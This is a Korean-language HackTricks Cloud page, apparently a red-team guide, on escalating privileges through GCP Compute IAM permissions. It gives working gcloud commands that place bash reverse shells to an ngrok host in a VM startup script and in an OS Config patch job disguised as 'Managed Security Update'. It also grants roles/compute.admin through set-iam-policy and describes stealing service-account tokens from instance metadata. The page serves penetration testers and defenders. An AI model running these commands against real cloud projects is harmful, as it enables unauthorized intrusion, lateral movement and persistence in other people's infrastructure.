GCP - Compute Privesc
Reading time: 5 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Compute
GCP에서 Compute 및 VPC(네트워크)에 대한 자세한 정보는 다음을 확인하세요:
caution
인스턴스의 메타데이터를 수정해야 하는 모든 권한 상승 공격(예: 새로운 사용자 및 SSH 키 추가)을 수행하려면 인스턴스에 연결된 SA에 대해 actAs
권한이 필요합니다, SA가 이미 연결되어 있더라도!
compute.projects.setCommonInstanceMetadata
이 권한을 사용하면 인스턴스의 메타데이터 정보를 수정하고 사용자의 인증된 키를 변경하거나 sudo 권한이 있는 새 사용자를 생성할 수 있습니다. 따라서 SSH를 통해 모든 VM 인스턴스에 접속하고 인스턴스가 실행 중인 GCP 서비스 계정을 탈취할 수 있습니다.
제한 사항:
- 기본적으로 VM 인스턴스에서 실행되는 GCP 서비스 계정은 매우 제한된 범위를 가집니다.
- 로그인하려면 SSH 서버에 연락할 수 있어야 합니다.
이 권한을 악용하는 방법에 대한 자세한 정보는 다음을 확인하세요:
새로운 시작 스크립트를 추가하고 인스턴스를 재부팅하여 이 공격을 수행할 수도 있습니다:
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'
gcloud compute instances reset my-vm-instance
compute.instances.setMetadata
이 권한은 이전 권한과 동일한 권한을 특정 인스턴스에 부여하며 전체 프로젝트에 대한 것이 아닙니다. 이전 섹션과 동일한 취약점과 제한 사항이 적용됩니다.
compute.instances.setIamPolicy
이러한 종류의 권한은 이전 권한으로 역할을 부여할 수 있게 해주며 이를 악용하여 권한을 상승시킬 수 있습니다. 다음은 서비스 계정에 roles/compute.admin
을 추가하는 예입니다:
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE
cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF
gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE
compute.instances.osLogin
인스턴스에서 OSLogin이 활성화되어 있는 경우, 이 권한으로 **gcloud compute ssh [INSTANCE]
**를 실행하여 인스턴스에 연결할 수 있습니다. 인스턴스 내에서 루트 권한은 없습니다.
tip
이 권한으로 VM 인스턴스에 성공적으로 로그인하려면 VM에 연결된 SA에 대해 iam.serviceAccounts.actAs
권한이 필요합니다.
compute.instances.osAdminLogin
인스턴스에서 OSLogin이 활성화되어 있는 경우, 이 권한으로 **gcloud compute ssh [INSTANCE]
**를 실행하여 인스턴스에 연결할 수 있습니다. 인스턴스 내에서 루트 권한이 있습니다.
tip
이 권한으로 VM 인스턴스에 성공적으로 로그인하려면 VM에 연결된 SA에 대해 iam.serviceAccounts.actAs
권한이 필요합니다.
compute.instances.create
,iam.serviceAccounts.actAs, compute.disks.create
, compute.instances.create
, compute.instances.setMetadata
, compute.instances.setServiceAccount
, compute.subnetworks.use
, compute.subnetworks.useExternalIp
서비스 계정이 할당된 가상 머신을 생성하고 메타데이터에 접근하여 서비스 계정의 토큰을 훔치는 것이 가능합니다.
이 방법에 대한 익스플로잇 스크립트는 여기에서 찾을 수 있습니다.
osconfig.patchDeployments.create
| osconfig.patchJobs.exec
osconfig.patchDeployments.create
또는 osconfig.patchJobs.exec
권한이 있는 경우 패치 작업 또는 배포를 생성할 수 있습니다. 이를 통해 환경 내에서 수평 이동을 하고 프로젝트 내의 모든 컴퓨트 인스턴스에서 코드 실행을 얻을 수 있습니다.
현재로서는 인스턴스에 연결된 SA에 대해 actAs
권한이 필요하지 않습니다.
수동으로 이를 악용하려면 패치 작업 또는 배포을 생성해야 합니다.
패치 작업을 실행하려면:
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF
gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh
# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance
gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s
패치 배포를 배포하려면:
gcloud compute os-config patch-deployments create <name> ...
도구 patchy는 과거에 이 잘못된 구성의 취약점을 이용하는 데 사용될 수 있었지만 (현재는 작동하지 않음).
공격자는 이를 지속성을 위해 악용할 수도 있습니다.
compute.machineImages.setIamPolicy
컴퓨트 이미지에 대한 추가 권한을 부여하세요.
compute.snapshots.setIamPolicy
디스크 스냅샷에 대한 추가 권한을 부여하세요.
compute.disks.setIamPolicy
디스크에 대한 추가 권한을 부여하세요.
접근 범위 우회
이 링크를 따라가면 접근 범위를 우회하기 위한 아이디어를 찾을 수 있습니다.
GCP 컴퓨트 인스턴스에서의 로컬 권한 상승
GCP - local privilege escalation ssh pivoting
참고자료
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.